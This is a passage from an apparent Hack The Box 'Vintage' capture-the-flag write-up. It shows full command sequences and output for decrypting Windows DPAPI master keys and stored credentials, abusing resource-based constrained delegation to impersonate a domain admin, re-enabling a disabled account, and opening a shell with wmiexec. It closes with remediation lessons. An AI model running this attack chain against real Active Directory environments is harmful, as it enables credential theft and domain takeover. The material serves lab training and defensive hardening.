$env:LOCALAPPDATA\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6

Decrypt the master keys

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-dpapi masterkey -file 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

Decrypt the credential file

We will then decrypt the credential file using the decrypted master key.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description : 
Unknown     : 
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

Credentials found for c.nera_adm: vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312'

Resource Based Constrained Delegation (RBCD) Abuse

Request TGT for c.neri_adm

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri_adm.ccache


┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=c.neri_adm.ccache      
Add svc_sql to DELEGATEDADMINS

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb --dc-ip 10.129.91.223 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
[+] SVC_SQL added to DELEGATEDADMINS

Using c.neri's privileges, we will add a ServicePrincipalName (SPN) for svc_sql.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/c.neri:'Zer0the0ne'                 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri.ccache

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=c.neri.ccache 

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.129.91.223 -k set object "SVC_SQL" servicePrincipalName -v "cifs/danything"
[+] SVC_SQL's servicePrincipalName has been updated

When attempting to request a TGT for svc_sql, we encountered the following error:

SessionError: KDC_ERR_CLIENT_REVOKED (Client's credentials have been revoked)

This indicates that the svc_sql account is most likely disabled.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

Now, let's enable the svc_sql account again to proceed with the attack.

bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k  --dc-ip 10.129.91.223 remove uac svc_sql -f ACCOUNTDISABLE

Now, the svc_sql account is successfully enabled, and the request works as expected.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k  --dc-ip 10.129.91.223 remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:'Zer0the0ne'                                                                           
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_sql.ccache

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=svc_backup.ccache
──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip dc01.vintage.htb -k -no-pass vintage.htb/svc_sql
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating L.BIANCHI_ADM
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

Since we now have the TGT for the Domain Admin L.BIANCHI_ADM, we will export it to the Kerberos cache. After that, we can use impacket-wmiexec to gain a shell on the target.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-wmiexec vintage.htb/L.BIANCHI_ADM@dc01.vintage.htb -k -no-pass

Root Flag

Root flag can be found at C:\Users\Administrator\Desktop\root.txt.


Lessons Learned

1. Secure Pre-Created Computer Objects

Computer accounts pre-created with the userAccountControl attribute set to 4096 (representing a Workstation/Server) default to their hostname in lowercase as the password. - Remediation: Avoid creating pre-created computer accounts without setting strong, random passwords. Audit Active Directory for computer objects matching userAccountControl=4096 and update their passwords or delete orphaned objects.

2. Restrict gMSA Password Read Permissions

The Domain Computers group had read access to the managed password of GMSA01$, allowing any compromised machine in the domain to extract the gMSA account's credentials. - Remediation: Restrict the PrincipalsAllowedToRetrieveManagedPassword property on gMSA accounts to specific service hosts rather than broad groups like Domain Computers.

3. Cleartext Credentials in DPAPI

Administrative credentials for c.neri_adm were cached in C.Neri's DPAPI credential store. - Remediation: Enforce credential isolation mechanisms (like Windows Defender Credential Guard) to prevent DPAPI caching of administrative credentials. Restrict administrative logins on Tier 2 workstations and enforce separate, non-overlapping accounts for normal and privileged tasks.

4. Hardening Against RBCD

Resource-Based Constrained Delegation allows users with modify access on a computer object to configure delegation rights to impersonate any user on that host. - Remediation: Implement a strict tiering model where administrative privileges are partitioned. Audit computer object DACLs to ensure only authorized administrators can modify delegation attributes (msDS-AllowedToActOnBehalfOfOtherIdentity).

Owned Oawned

Comments (0)

Loading comments...